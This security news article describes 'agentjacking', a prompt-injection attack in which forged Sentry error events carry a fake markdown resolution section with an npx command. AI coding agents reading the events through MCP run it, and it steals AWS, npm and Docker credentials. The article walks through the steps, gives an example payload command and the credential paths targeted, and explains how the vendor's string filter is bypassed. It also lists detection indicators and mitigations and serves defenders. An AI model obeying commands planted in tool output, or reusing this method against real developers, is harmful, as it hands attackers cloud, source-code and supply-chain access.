Agentjacking: Fake Sentry Errors Hijack AI Coding Agents at 2,388 Organizations

The agentjacking AI coding agent attack chains four steps that require no specialized capability, no prior access, and no detection risk during execution.

Step 1: DSN discovery. A Sentry DSN is a public, write-only credential intentionally embedded in frontend JavaScript so browsers can report errors. Attackers locate valid DSNs by inspecting JavaScript source code on target websites, running Censys queries for ingest.sentry.io subdomains, or searching GitHub's public code index. No breach of any target system is required.

Step 2: Event injection. Using the DSN and a standard HTTP client, an attacker POSTs a crafted error event to Sentry's ingest endpoint with no authentication beyond the DSN itself. The attacker controls every field in the payload: the message body, tags, context keys, breadcrumbs, and simulated stack trace data.

Step 3: Markdown injection. The crafted event contains a fake "## Resolution" section in the message body with an npx command such as npx @attacker-package --diagnose. When the Sentry MCP server returns this event to an AI coding agent, the agent cannot distinguish attacker-injected content from legitimate Sentry system templates. Tenet Security researchers stated: "The agents themselves are now the attack surface, turned against the developers who trust them."

Step 4: Code execution and exfiltration. The agent executes the npx command with the developer's full system privileges. The package downloads from the npm registry and probes for environment variables, AWS credentials at ~/.aws/config, npm tokens at ~/.npmrc, Docker credentials at ~/.docker/config.json, and network interface configuration. Results are exfiltrated via HTTPS POST to the attacker's beacon server. Testing by Tenet Security confirmed 85% exploitation success across Claude Code, Cursor, and Codex.

Using only public Sentry APIs and no prior compromise, Tenet Security identified 2,388 organizations with valid injectable DSNs as of June 12, 2026. Of those, 71 rank within the global Tranco top-1 million website list.

Confirmed affected population categories include a Fortune 500 company with an estimated valuation near $250 billion, a hosting infrastructure provider with $2 billion in assets under management, scientific computing firms, cloud security vendors, and early-stage startups across EdTech, HealthTech, and FinTech sectors. Development teams at these organizations connect Sentry to their AI coding workflows via MCP integrations as standard practice.

The credential exposure from a successful agentjacking attack is severe. A successful attack can extract AWS access keys and session tokens, GitHub OAuth tokens granting access to private repositories, Kubernetes service account tokens, Sentry authentication tokens, npm and Artifactory package registry credentials, and production environment variables containing database connection strings, payment processor API keys, and third-party service secrets.

Unlike traditional supply chain attacks targeting build pipelines, agentjacking strikes at the developer's active session with full contextual access to credentials held in memory and on disk. One compromised developer session provides lateral movement paths into cloud infrastructure, source code repositories, and CI/CD pipelines without triggering a single security alert.

For context on how attackers escalate from initial LLM agent access into deeper infrastructure, see our breakdown of LLM agent post-exploitation tactics using Marimo CVE-2026-39987.

The Model Context Protocol (MCP) is an open standard that allows AI coding agents to connect with external tools and data sources. Sentry's MCP server integration lets a developer ask their agent to review and fix unresolved production errors and have the agent retrieve, analyze, and act on live Sentry data automatically.

MCP's design assumes that data retrieved via tool responses is passive context, not active instruction. Agentjacking demonstrates that this assumption collapses the moment an external service accepts writes from parties other than the legitimate application. Sentry's DSN is write-accessible to anyone who discovers it. Any injected content that Sentry's MCP server subsequently returns to an AI agent becomes indistinguishable from legitimate system output.

The Cloud Security Alliance classified agentjacking on June 12, 2026, as a concrete instance of a broader vulnerability category documented across the MCP ecosystem: the inability of language model agents to enforce trust boundaries between retrieved data and executable instructions. Palo Alto Networks Unit 42 previously identified covert tool invocation and conversation hijacking as parallel MCP attack vectors through Sentry's sampling mechanism.

The attack generalizes beyond Sentry. Any MCP server that returns data from an endpoint with less-restricted write access than read access presents an equivalent injection surface. As AI coding agents integrate with more external services through MCP, each integration where external parties can influence the returned data becomes a potential agentjacking vector.

This parallels the AI command injection pattern documented in our analysis of LAMEHUG malware, where APT28 used live LLM command generation to turn AI tooling trusted by developers into an active attack mechanism.

Sentry's response to the agentjacking disclosure illustrates a gap between responsible vulnerability disclosure and structural platform remediation that is increasingly common across the AI tooling ecosystem.

Tenet Security disclosed the agentjacking technique to Sentry on June 3, 2026. Sentry acknowledged the disclosure and stated the issue is "technically not defensible" at the platform level, citing the intentional design of DSNs as public write-only credentials. Sentry activated a global content filter blocking the specific npx payload string used in Tenet Security's proof of concept.

The practical protection this filter provides is minimal. It targets the exact command string from the disclosed proof of concept. Any attacker who changes the package name, uses pip instead of npx, encodes the command differently, or structures the markdown injection in a variant format bypasses the filter. The filter addresses one specific indicator from the public disclosure, not the attack class.

Sentry has not implemented authenticated event ingestion, per-event content validation against shell command patterns, rate limiting on DSN write operations from novel IP addresses, or any mechanism to flag events containing execution instructions before they are returned to MCP clients. Each of these architectural changes would represent a structural fix and would require modifications to Sentry's core event ingestion pipeline.

The researchers identified that runtime controls at the AI agent level are the only currently viable mitigation path. Agent-level guardrails that inspect MCP tool responses for shell execution instructions before acting on them can prevent the attack regardless of what Sentry returns, as long as the agent applies the check consistently across all MCP-connected data sources.

Agentjacking produces no traditional network IOCs because the attack routes entirely through Sentry's legitimate infrastructure until the final exfiltration step. Defenders must rely on behavioral indicators rather than IP or domain blocklists for primary detection.

Behavioral indicators of a successful or in-progress agentjacking attack include: an AI coding agent executing npx commands with package names absent from the project's package.json; shell command execution triggered by an AI agent immediately after querying Sentry or any MCP-connected issue tracking service; outbound HTTPS POST requests from developer workstations to unrecognized endpoints following an AI agent session; unexpected subprocess spawning from AI agent processes; and credential file reads at ~/.aws/config, ~/.npmrc, and ~/.docker/config.json by agent-spawned npm scripts.

DSN exposure can be assessed proactively before an attack occurs. Organizations can search GitHub code search and Censys for their Sentry DSN strings. Any DSN reachable through public search should be treated as injectable until rotated. Tenet Security's controlled testing payloads self-identified with an x-tenet-security: ResponsibleDisclosure header on injected events. Malicious actors will not include this marker.

Disabling Sentry MCP integrations is the fastest single action that eliminates the agentjacking attack surface. Organizations that cannot immediately disable these integrations should implement all seven controls below in parallel.

Agentjacking represents the first publicly documented, large-scale attack class that converts a developer's own trusted AI coding tool into the threat actor, executing attacker code with developer privileges inside the development environment without touching any victim infrastructure directly.

Prior AI security concerns focused on attackers using LLMs to write malicious code faster or generate more convincing phishing emails. Agentjacking is categorically different: the developer explicitly authorized the AI agent, the AI agent explicitly authorized the MCP connection, and the connection returns data from a service the developer chose to integrate. Every control in the chain sees authorized behavior. Nothing alerts.

The attack scales cheaply. Discovering injectable DSNs across thousands of organizations requires a Censys API key and a GitHub account. Crafting the injection payload requires writing a markdown section and a throwaway npm package. An attacker can queue malicious events in all 2,388 exposed organizations in under an hour and wait for developers to use their standard AI coding workflows.

The credential chain from a successful agentjacking attack is severe. AWS keys enable cloud infrastructure access and resource creation. GitHub tokens enable private repository theft and potential supply chain compromise through malicious commit injection. npm credentials enable downstream supply chain attacks through malicious package publishing. Each stolen credential class represents a distinct breach that can propagate to customers, partners, and dependent software systems beyond the original victim organization.

Organizations that build software using AI coding agents with external MCP integrations must treat agentjacking as an active threat. Audit DSN exposure, disable Sentry MCP integrations, and investigate AI agent process logs for credential file access since any Sentry MCP integration was first enabled.